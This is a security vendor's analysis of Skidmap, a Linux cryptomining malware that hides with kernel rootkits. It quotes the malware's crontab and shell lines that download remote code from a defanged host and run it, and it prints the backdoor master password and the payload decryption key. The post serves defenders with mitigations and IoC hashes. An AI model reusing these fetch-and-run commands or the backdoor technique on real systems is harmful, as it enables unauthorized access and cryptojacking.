	<h1 class="article-details__title">Skidmap Malware Uses Rootkit to Hide Mining Payload</h1>
	<p class="article-details__description">Skidmap, a Linux malware that we recently stumbled upon, demonstrates the increasing complexity of cryptocurrency-mining threats. This malware is notable for how it loads malicious kernel modules to keep its cryptocurrency mining operations hidden.</p>
	<p class="article-details__author-by">By: Augusto Remillano II, Jakub Urbanec, Wilbert Luy
		
			<time class="article-details__date">September 16, 2019</time>
		
		
		<span>Read time:&nbsp;</span><span class="eta"></span> (<span class="words"></span> words)
	</p>

	<div class="article-details__icons">
		<!--Add This-->
		<!-- Go to www.addthis.com/dashboard to customize your tools -->
<div class="addthis_toolbox addthis_default_style">
	<a class="addthis_button_compact addthis_link">
		<img src="/etc.clientlibs/trendresearch/clientlibs/clientlib-trendresearch/resources/img/share-more.svg" class="addthis-icon" alt="Share"/>
	</a>
	<a class="addthis_button_print addthis_link">
		<img src="/etc.clientlibs/trendresearch/clientlibs/clientlib-trendresearch/resources/img/printer.svg" class="addthis-icon" alt="Print"/>
	</a>
</div>

		<!--Add to Folio-->
		<div class="add-to-folio tooltip">
			<span class="icon-folio-thin"></span>
			<div class="right">
				<p>Save to Folio</p>
				<i></i>
			</div>
		</div>

		<!--Subscribe-->
		<div class="subscribe">
			
		</div>
	</div>
</div>

            </div>
        </div>
		
		<hr class="research-layout-divider"/>

        <main class="main--content col-xs-12 col-md-8 col-md-push-2">
            <div>
	
    


	

</div>
            <div class="richText">
	
    


	
		<div>
			<p><a href="https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/security-101-the-impact-of-cryptocurrency-mining-malware">Cryptocurrency-mining malware</a> is still a prevalent threat, as illustrated by our detections of this threat in the <a href="https://www.trendmicro.com/vinfo/us/security/research-and-analysis/threat-reports/roundup/evasive-threats-pervasive-effects">first half of 2019</a>. Cybercriminals, too, increasingly explored new platforms and ways to further cash in on their malware — from <a href="https://blog.trendmicro.com/trendlabs-security-intelligence/cryptocurrency-mining-botnet-arrives-through-adb-and-spreads-through-ssh/">mobile devices</a> and Unix and <a href="https://blog.trendmicro.com/trendlabs-security-intelligence/golang-based-spreader-used-in-a-cryptocurrency-mining-malware-campaign/">Unix-like systems</a> to <a href="https://blog.trendmicro.com/trendlabs-security-intelligence/cryptocurrency-miner-distributed-via-php-weathermap-vulnerability-targets-linux-servers/">servers</a> and <a href="https://blog.trendmicro.com/trendlabs-security-intelligence/infected-cryptocurrency-mining-containers-target-docker-hosts-with-exposed-apis-use-shodan-to-find-additional-victims/">cloud environments</a>.</p>
<p>They also constantly hone their malware’s resilience against detection. Some, for instance, <a href="https://blog.trendmicro.com/trendlabs-security-intelligence/cve-2019-2725-exploited-and-certificate-files-used-for-obfuscation-to-deliver-monero-miner/">bundle</a> their malware with a watchdog component that ensures that the illicit cryptocurrency mining activities persist in the infected machine, while others, affecting Linux-based systems, <a href="https://blog.trendmicro.com/trendlabs-security-intelligence/cve-2019-3396-redux-confluence-vulnerability-exploited-to-deliver-cryptocurrency-miner-with-rootkit/">utilize</a> an LD_PRELOAD-based userland <a href="https://www.trendmicro.com/vinfo/us/security/definition/rootkit">rootkit</a> to make their components undetectable by system monitoring tools.</p>
<p>Skidmap, a Linux malware that we recently stumbled upon, demonstrates the increasing complexity of recent cryptocurrency-mining threats. This malware is notable because of the way it loads malicious kernel modules to keep its cryptocurrency mining operations under the radar.</p>
<p>These kernel-mode rootkits are not only more difficult to detect compared to its user-mode counterparts — attackers can also use them to gain unfettered access to the affected system. A case in point: the way Skidmap can also set up a secret master password that gives it access to any user account in the system. Conversely, given that many of Skidmap’s routines require root access, the attack vector that Skidmap uses — whether through exploits, misconfigurations, or exposure to the internet — are most likely the same ones that provide the attacker root or administrative access to the system.</p>
<p style="text-align: center;"><a href="/content/dam/trendmicro/global/en/migrated/security-intelligence-migration-spreadsheet/trendlabs-security-intelligence/2019/09/skidmap-linux-malware-1.jpg"><img src="/content/dam/trendmicro/global/en/migrated/security-intelligence-migration-spreadsheet/trendlabs-security-intelligence/2019/09/skidmap-linux-malware-1.jpg"/></a>Figure 1. Skidmap’s infection chain</p>
<h3><b><span class="body-subhead-title">Skidmap’s infection chain</span></b></h3>
<p>The malware installs itself via crontab (list of commands that are run on a regular schedule) to its target machine, as shown below:</p>
<pre>
*/1 * * * * curl -fsSL hxxp://pm[.]ipfswallet[.]tk/pm.sh | sh
</pre>
<p>The installation script <i>pm.sh</i> then downloads the main binary “pc” (detected by Trend Micro as Trojan.Linux.SKIDMAP.UWEJX):</p>
<pre>
if [ -x &quot;/usr/bin/wget&quot;  -o  -x &quot;/bin/wget&quot; ]; then
   wget -c hxxp://pm[.]ipfswallet[.]tk/pc -O /var/lib/pc &amp;&amp; chmod +x /var/lib/pc &amp;&amp; /var/lib/pc elif [ -x &quot;/usr/bin/curl&quot;  -o  -x &quot;/bin/curl&quot; ]; then
   curl -fs hxxp://pm[.]ipfswallet[.]tk/pc -o /var/lib/pc &amp;&amp; chmod +x /var/lib/pc &amp;&amp; /var/lib/pc elif [ -x &quot;/usr/bin/get&quot;  -o  -x &quot;/bin/get&quot; ]; then
   get -c hxxp://pm[.]ipfswallet[.]tk/pc -O /var/lib/pc &amp;&amp; chmod +x /var/lib/pc &amp;&amp; /var/lib/pc elif [ -x &quot;/usr/bin/cur&quot;  -o  -x &quot;/bin/cur&quot; ]; then
   cur -fs hxxp://pm[.]ipfswallet[.]tk/pc -o /var/lib/pc &amp;&amp; chmod +x /var/lib/pc &amp;&amp; /var/lib/pc else
   url -fs hxxp://pm[.]ipfswallet[.]tk/pc -o /var/lib/pc &amp;&amp; chmod +x /var/lib/pc &amp;&amp; /var/lib/pc fi
</pre>
<p>Upon execution of the “pc” binary, it will decrease the affected machine’s security settings. If the file <i>/usr/sbin/setenforce</i> exists, the malware executes the command, setenforce 0. This command configures the system’s Security-Enhanced Linux (SELinux) module, which provides support in the system's access control policies, into permissive mode — that is, setting the SELinux policy so that it is not enforced. If the system has the <i>/etc/selinux/config</i> file, it will write these commands into the file: SELINUX=disabled and SELINUXTYPE=targeted commands. The former disables the SELinux policy (or disallows one to be loaded), while the latter sets selected processes to run in confined domains.</p>
<p>Skidmap also sets up a way to gain backdoor access to the machine. It does this by having the binary add the public key of its handlers to the <i>authorized_keys</i> file, which contains keys needed for authentication.</p>
<p>Besides the backdoor access, Skidmap also creates another way for its operators to gain access to the machine. The malware replaces the system’s <i>pam_unix.so</i> file (the module responsible for standard Unix authentication) with its own malicious version (detected as Backdoor.Linux.PAMDOR.A). As shown in Figure 2, this malicious <i>pam_unix.so</i> file accepts a specific password for any users, thus allowing the attackers to log in as any user in the machine.</p>
<p style="text-align: center;"><a href="//blog.trendmicro.com/trendlabs-security-intelligence/files/2019/09/skidmap-linux-malware-2-1.png"><img src="/content/dam/trendmicro/global/en/migrated/security-intelligence-migration-spreadsheet/trendlabs-security-intelligence/2019/09/skidmap-linux-malware-2-1.png"/></a></p>
<p style="text-align: center;"><a href="//blog.trendmicro.com/trendlabs-security-intelligence/files/2019/09/skidmap-linux-malware-2-2.png"><img src="/content/dam/trendmicro/global/en/migrated/security-intelligence-migration-spreadsheet/trendlabs-security-intelligence/2019/09/skidmap-linux-malware-2-2.png"/></a></p>
<p style="text-align: center;">Figure 2. Code snippets showing how Skidmap gets its backdoor access to the affected system (top) and how it uses a malicious version of the <i>pam_unix.so</i> file to gain access to the machine (bottom; the password that it uses and accepts is Mtm$%889*G*S3%G)</p>
<h3><b><span class="body-subhead-title">How Skidmap drops the cryptocurrency miner</span></b></h3>
<p>The “pc” binary checks whether the infected system’s OS is Debian or RHEL/CentOS. Its routine, which involves dropping the cryptocurrency miner and other components, depends on OS. For Debian-based systems, it drops the cryptocurrency miner payload to <i>/tmp/miner2</i>. For CentOS/RHEL systems, it will download a tar (tape archive) file from the URL, hxxp://pm[.]ipfswallet[.]tk/cos7[.]tar[.]gz, containing the cryptocurrency miner and its multiple components, which is unpacked and then installed. Of note is that the content of the tar file is decrypted via OpenSSL with the key “jcx@076” using Triple DES cipher.</p>
<p style="text-align: center;"><a href="//blog.trendmicro.com/trendlabs-security-intelligence/files/2019/09/skidmap-linux-malware-3-1.png"><img src="/content/dam/trendmicro/global/en/migrated/security-intelligence-migration-spreadsheet/trendlabs-security-intelligence/2019/09/skidmap-linux-malware-3-1.png"/></a></p>
<p style="text-align: center;"><a href="//blog.trendmicro.com/trendlabs-security-intelligence/files/2019/09/skidmap-linux-malware-3-2.png"><img src="/content/dam/trendmicro/global/en/migrated/security-intelligence-migration-spreadsheet/trendlabs-security-intelligence/2019/09/skidmap-linux-malware-3-2.png"/></a></p>
<p style="text-align: center;">Figure 3. How the “pc” binary drops the cryptocurrency miner in Debian- (top) and CentOS/RHEL-based systems (bottom)</p>
<h3><b><span class="body-subhead-title">Skidmap’s other malicious components</span></b></h3>
<p>The malware has notable components that are meant to further obfuscate its malicious activities and ensure that they continue to run:</p>
<ul>
<li><span class="rte-red-bullet"><b>A fake “rm” binary — </b>One of the components contained in the tar file is a fake “rm” binary that will replace the original (rm is normally used as command for deleting files). The malicious routine of this file sets up a malicious cron job that would download and execute a file. This routine won’t always be observed, however, as it would only be performed randomly.</span></li>
<li><span class="rte-red-bullet"><b>kaudited — </b>A file installed as <i>/usr/bin/kaudited</i>. This binary will drop and install several loadable kernel modules (LKMs) on the infected machine. To ensure that the infected machine won’t crash due to the kernel-mode rootkits, it uses different modules for specific kernel versions. The kaudited binary also drops a watchdog component that will monitor the cryptocurrency miner file and process.</span></li>
</ul>
<p style="text-align: center;"><a href="//blog.trendmicro.com/trendlabs-security-intelligence/files/2019/09/skidmap-linux-malware-4-1.png"><img src="/content/dam/trendmicro/global/en/migrated/security-intelligence-migration-spreadsheet/trendlabs-security-intelligence/2019/09/skidmap-linux-malware-4-1.png"/></a></p>
<p style="text-align: center;"><a href="//blog.trendmicro.com/trendlabs-security-intelligence/files/2019/09/skidmap-linux-malware-4-2.png"><img src="/content/dam/trendmicro/global/en/migrated/security-intelligence-migration-spreadsheet/trendlabs-security-intelligence/2019/09/skidmap-linux-malware-4-2.png"/></a></p>
<p style="text-align: center;"><a href="//blog.trendmicro.com/trendlabs-security-intelligence/files/2019/09/skidmap-linux-malware-4-3.png"><img src="/content/dam/trendmicro/global/en/migrated/security-intelligence-migration-spreadsheet/trendlabs-security-intelligence/2019/09/skidmap-linux-malware-4-3.png"/></a></p>
<p style="text-align: center;">Figure 4. Cron job installed by Skidmap’s “rm” (top) and <i>kaudited</i> (middle) dropping the kernel modules; and code snippet of the dropped watchdog component (bottom)</p>
<ul>
<li><span class="rte-red-bullet"><b>iproute</b> — This module hooks the system call, <i>getdents</i> (normally used to read the contents of a directory) in order to hide specific files.</span></li>
</ul>
<p style="text-align: center;"><a href="//blog.trendmicro.com/trendlabs-security-intelligence/files/2019/09/skidmap-linux-malware-5-1.png"><img src="/content/dam/trendmicro/global/en/migrated/security-intelligence-migration-spreadsheet/trendlabs-security-intelligence/2019/09/skidmap-linux-malware-5-1.png"/></a></p>
<p style="text-align: center;"><a href="//blog.trendmicro.com/trendlabs-security-intelligence/files/2019/09/skidmap-linux-malware-5-2.png"><img src="/content/dam/trendmicro/global/en/migrated/security-intelligence-migration-spreadsheet/trendlabs-security-intelligence/2019/09/skidmap-linux-malware-5-2.png"/></a></p>
<p style="text-align: center;">Figure 5. Code snippets showing how iproute uses <i>getdents</i> is used to hide certain files (top, center), and how the netlink rootkit fakes network traffic statistics (bottom)</p>
<ul>
<li><span class="rte-red-bullet"><b>netlink </b>— This rootkit fakes the network traffic statistics (specifically traffic involving certain IP addresses and ports) and CPU-related statistics (hide the “pamdicks” process and CPU load). This would make the CPU load of the infected machine always appear low. This is likely to make it appear as if nothing is amiss to the user (as high CPU usage is a red flag of cryptocurrency-mining malware).</span></li>
</ul>
<p style="text-align: center;"><a href="//blog.trendmicro.com/trendlabs-security-intelligence/files/2019/09/skidmap-linux-malware-6-1.png"><img src="/content/dam/trendmicro/global/en/migrated/security-intelligence-migration-spreadsheet/trendlabs-security-intelligence/2019/09/skidmap-linux-malware-6-1.png"/></a></p>
<p style="text-align: center;"><a href="//blog.trendmicro.com/trendlabs-security-intelligence/files/2019/09/skidmap-linux-malware-6-2.png"><img src="/content/dam/trendmicro/global/en/migrated/security-intelligence-migration-spreadsheet/trendlabs-security-intelligence/2019/09/skidmap-linux-malware-6-2.png"/></a></p>
<p style="text-align: center;">Figure 6. Snapshots of code showing how the pamdicks process is hidden (top), and how it displays that the CPU load is low (bottom)</p>
<h3><b><span class="body-subhead-title">Best practices and Trend Micro solutions</span></b></h3>
<p>Skidmap uses fairly advanced methods to ensure that it and its components remain undetected. For instance, its use of LKM rootkits — given their capability to overwrite or modify parts of the kernel — makes it harder to clean compared to other malware. In addition, Skidmap has multiple ways to access affected machines, which allow it to reinfect systems that have been restored or cleaned up.</p>
<p>Cryptocurrency-mining threats don’t just affect a server or workstation’s performance — they could also translate to higher expenses and even disrupt businesses especially if they are used to run mission-critical operations. Given Linux’s use in many enterprise environments, its users, particularly administrators, should always adopt best practices: keep the systems and servers updated and patched (or use <a href="https://www.trendmicro.com/vinfo/us/security/news/security-technology/security-101-virtual-patching">virtual patching</a> for legacy systems); beware of unverified, third-party repositories; and enforce the principle of least privilege to prevent suspicious and malicious executables or processes from running.</p>
<p>Trend Micro solutions powered by <a href="http://go.trendmicro.com/sem/sem/www.trendmicro.com/us/business/xgen/index.html">XGen™ security</a>, such as <a href="/en_gb/business/products/user-protection/sps/endpoint/serverprotect-linux.html">ServerProtect for Linux</a> and <a href="/en_gb/business/products/network.html">Trend Micro Network Defense</a>, can detect related malicious files and URLs and protect users’ systems. <a href="/en_gb/business/products/user-protection/sps.html">Trend Micro Smart Protection Suites</a> and <a href="/en_gb/small-business.html">Trend Micro Worry-Free™ Business Security</a>, which have behavior monitoring capabilities, can additionally protect from these types of threats by detecting malicious files, thwarting behaviors and routines associated with malicious activities, as well as blocking all related malicious URLs.</p>
<p><b><span class="body-subhead-title">Indicators of Compromise (IoCs)</span></b></p>
<div class="responsive-table-wrap"><table border="1" width="100%">
<tbody><tr><td style="text-align: center;" width="100"><span style="color: rgb(255,0,0);"><b>File Name</b></span></td>
<td style="text-align: center;" width="280"><span style="color: rgb(255,0,0);"><b><span style="text-align: center;">SHA-256</span></b></span></td>
<td style="text-align: center;" width="220"><span style="color: rgb(255,0,0);"><b><span style="text-align: center;">Trend Micro Detection</span></b></span></td>
</tr><tr><td style="text-align: left;" width="100">crypto514</td>
<td width="280">c07fe8abf4f8ba83fb95d44730efc601 ba9a7fc340b3bb5b4b2b2741b5e31042</td>
<td style="text-align: left;" width="220">Rootkit.Linux.SKIDMAP.A</td>
</tr><tr><td style="text-align: left;" width="100">iproute514</td>
<td width="280">3ae9b7ca11f6292ef38bd0198d7e7d0b bb14edb509fdeee34167c5194fa63462</td>
<td style="text-align: left;" width="220">Rootkit.Linux.SKIDMAP.A</td>
</tr><tr><td style="text-align: left;" width="100">kaudited</td>
<td width="280">e6eb4093f7d958a56a5cd9252a4b529 efba147c0e089567f95838067790789ee</td>
<td style="text-align: left;" width="220">Trojan.Linux.SKIDMAP.UWEJY</td>
</tr><tr><td style="text-align: left;" width="100">kswaped</td>
<td width="280">240ad49b6fe4f47e7bbd54530772e5d2 6a695ebae154e1d8771983d9dce0e452</td>
<td style="text-align: left;" width="220">Backdoor.Linux.SKIDMAP.A</td>
</tr><tr><td style="text-align: left;" width="100">netlink514</td>
<td width="280">945d6bd233a4e5e9bfb2d17ddace46f2 b223555f60f230be668ee8f20ba8c33c</td>
<td style="text-align: left;" width="220">Rootkit.Linux.SKIDMAP.A</td>
</tr><tr><td style="text-align: left;" width="100">systemd_network</td>
<td width="280">913208a1a4843a5341231771b66bb400 390bd7a96a5ce3af95ce0b80d4ed879e</td>
<td style="text-align: left;" width="220">Trojan.Linux.SKIDMAP.A</td>
</tr></tbody></table>
</div>

		</div>
	

</div>
            <div class="image">
	
    


	

</div>
            <div>




</div>
            <section class="tag--list">
	<div class="tag--list-title">Tags</div>
	<div class="tag--list-tags">
		<a href="/en_gb/research.html?category=trend-micro-research:threats/malware" class="tag--list-anchor">Malware</a>
		
			<span class="tag--list-separator" role="separator">|</span>
		
	
		<a href="/en_gb/research.html?category=trend-micro-research:threats/cyber-threats" class="tag--list-anchor">Cyber Threats</a>
		
			<span class="tag--list-separator" role="separator">|</span>
		
	
		<a href="/en_gb/research.html?category=trend-micro-research:article-type/research" class="tag--list-anchor">Research</a>
		
	</div>
</section>

        </main>

        <sidebar class="sidebar--left col-xs-12 col-md-2 col-md-pull-8">
            


<h3 class="article-authors__title">
	
		Authors
	
</h3>

<!-- /* Show Trend Micro if we don't have any authors for this article */ -->


<ul class="article-authors__list">
	<li class="article-authors__list-items">
		
		<div class="article-authors__wrapper" role="contentinfo authors profile">
			
			
				<p class="article-authors__list-items__name">Augusto Remillano II</p>
			
			<p class="article-authors__list-items__position">Threats Analyst</p>
		</div>
	</li>

	<li class="article-authors__list-items">
		
		<div class="article-authors__wrapper" role="contentinfo authors profile">
			
			
				<p class="article-authors__list-items__name">Jakub Urbanec</p>
			
			<p class="article-authors__list-items__position">Threat Researcher</p>
		</div>
	</li>

	<li class="article-authors__list-items">
		
		<div class="article-authors__wrapper" role="contentinfo authors profile">
			
			
				<p class="article-authors__list-items__name">Wilbert Luy</p>
			
			<p class="article-authors__list-items__position">Threats Analyst</p>
		</div>
	</li>
</ul>

<div class="article-authors__btn-wrapper" role="button">
	<a class="article-authors__button " href="mailto:tm_research@trendmicro.com" target="target" id="article-authors-contact-us-button">
		Contact Us
	</a>
</div>


	

    

        </sidebar>

        <sidebar class="sidebar--right col-xs-12 col-md-2">
            <div class="sidebar--wrapper" role="contentinfo sidebar">
                <div class="row-1" role="contentinfo related articles">
                    
	
    


	<div class="related--articles" role="contentinfo related articles">
		<h3 class="related--articles-title">Related Articles</h3>
		 <ul class="related--articles-items">
			<li class="related--articles-item">
				<a class="related--articles-item-anchor" href="/en_gb/research/22/c/organizations-should-take-cloud-cryptomining-attacks-seriously.html">
					Why Organizations Should Take Cloud-Based Cryptocurrency-Mining Attacks Seriously
				</a> 
			</li>
		
			<li class="related--articles-item">
				<a class="related--articles-item-anchor" href="/en_gb/research/22/c/purple-fox-uses-new-arrival-vector-and-improves-malware-arsenal.html">
					Purple Fox Uses New Arrival Vector and Improves Malware Arsenal
				</a> 
			</li>
		
			<li class="related--articles-item">
				<a class="related--articles-item-anchor" href="/en_gb/research/22/c/this-week-in-security-news-march-25-2022.html">
					This Week in Security News - March 25, 2022
				</a> 
			</li>
		</ul>
	</div>

	<div class="archived--link">
		<div class="archived--link-text">
			<a href="/en_gb/research.html">
				See all articles
			</a>
		</div>

		<div class="archived--link-icon">
			<a href="/en_gb/research.html">
				<span class="icon-chevron-right"></span>
			</a>
		</div>
	</div>


                </div>
            </div>
        </sidebar>
    </article>
</div></div>

    
</div>
</div>
<div class="footer">

<footer class="container-fluid container-fluid--hybrid">
	<div class="footer"><nav class="links-row">
	<div class="inner-container">
		<ul class="links-col">
			<li>
				<a href="/en_gb/business/get-info-form.html">
					Contact Sales
				</a>
			</li>
		
			<li>
				<a href="/en_gb/contact.html">
					Locations
				</a>
			</li>
		
			<li>
				<a href="/en_gb/about/careers.html">
					Careers
				</a>
			</li>
		
			<li>
				<a href="/en_gb/about/newsroom.html">
					Newsroom
				</a>
			</li>
		
			<li>
				<a href="/en_gb/about/trust-center.html">
					Trust Center
				</a>
			</li>
		
			<li>
				<a href="/en_gb/about/trust-center/privacy.html">
					Privacy
				</a>
			</li>
		
			<li>
				<a href="https://success.trendmicro.com/technical-support" target="_blank" rel="noopener noreferrer">
					Support
				</a>
			</li>
		
			<li>
				<a href="/en_gb/business/sitemap.html">
					Site map
				</a>
			</li>
		</ul>
	</div>
</nav>
<div class="social-copyright-row">
	<div class="inner-container">
		<div class="row">
			<ul class="col-md-6 social-media-links">
				<li>
					<a href="https://www.linkedin.com/company/trend-micro-europe" class="icon-" target="_blank" rel="noopener noreferrer">
						linkedin
					</a>
				</li>
			
				<li>
					<a href="https://twitter.com/trendmicrouk" class="icon-" target="_blank" rel="noopener noreferrer">
						twitter
					</a>
				</li>
			
				<li>
					<a href="https://www.facebook.com/TrendMicroEurope" class="icon-" target="_blank" rel="noopener noreferrer">
						facebook
					</a>
				</li>
			
				<li>
					<a href="https://www.youtube.com/user/TrendMicroEurope" class="icon-" target="_blank" rel="noopener noreferrer">
						youtube
					</a>
				</li>
			
				<li>
					<a href="https://www.instagram.com/trendmicro/" class="icon-" target="_blank" rel="noopener noreferrer">
						instagram
					</a>
				</li>
			
				<li>
					<a href="https://feeds.feedburner.com/TrendMicroSimplySecurity" class="icon-" target="_blank" rel="noopener noreferrer">
						rss
					</a>
				</li>
			</ul>
			<div class="col-md-6">
				<span class="copyright">Copyright © 2022 Trend Micro Incorporated. All rights reserved.</span>
			</div>
		</div>
	</div>
</div>
</div>
</footer>
</div>


			

<!-- /* Core functionality javascripts, absolute URL to leverage Akamai CDN */ -->
<script src="https://www.trendmicro.com/content/dam/trendmicro/global/core-library/sly.min.js"></script>
<script src="https://www.trendmicro.com/content/dam/trendmicro/global/core-library/jwplayer.js"></script>

<script type="text/javascript" src="https://www.youtube.com/iframe_api"></script>

            
    
    
<script type="text/javascript" src="/etc.clientlibs/trendresearch/clientlibs/clientlib-trendresearch.min.js"></script>



    


    

    

    
    

            

            
			<!--For Modal-start-->
			<div class="modal-wrap"></div>
			<div class="jwPlayerString hidden">
				<span>sXpIBdPeKzI9PC2p0SWMpUSM2NSxWzPyXTMLlbXmYa0R20xk</span>
			</div>
			<!--For Modal-end-->
        

		<!-- Go to www.addthis.com/dashboard to customize your tools -->
		<script type="text/javascript" src="//s7.addthis.com/js/300/addthis_widget.js#pubid=ra-57bc9d0c3028a052"></script>		
    </body>
</html>
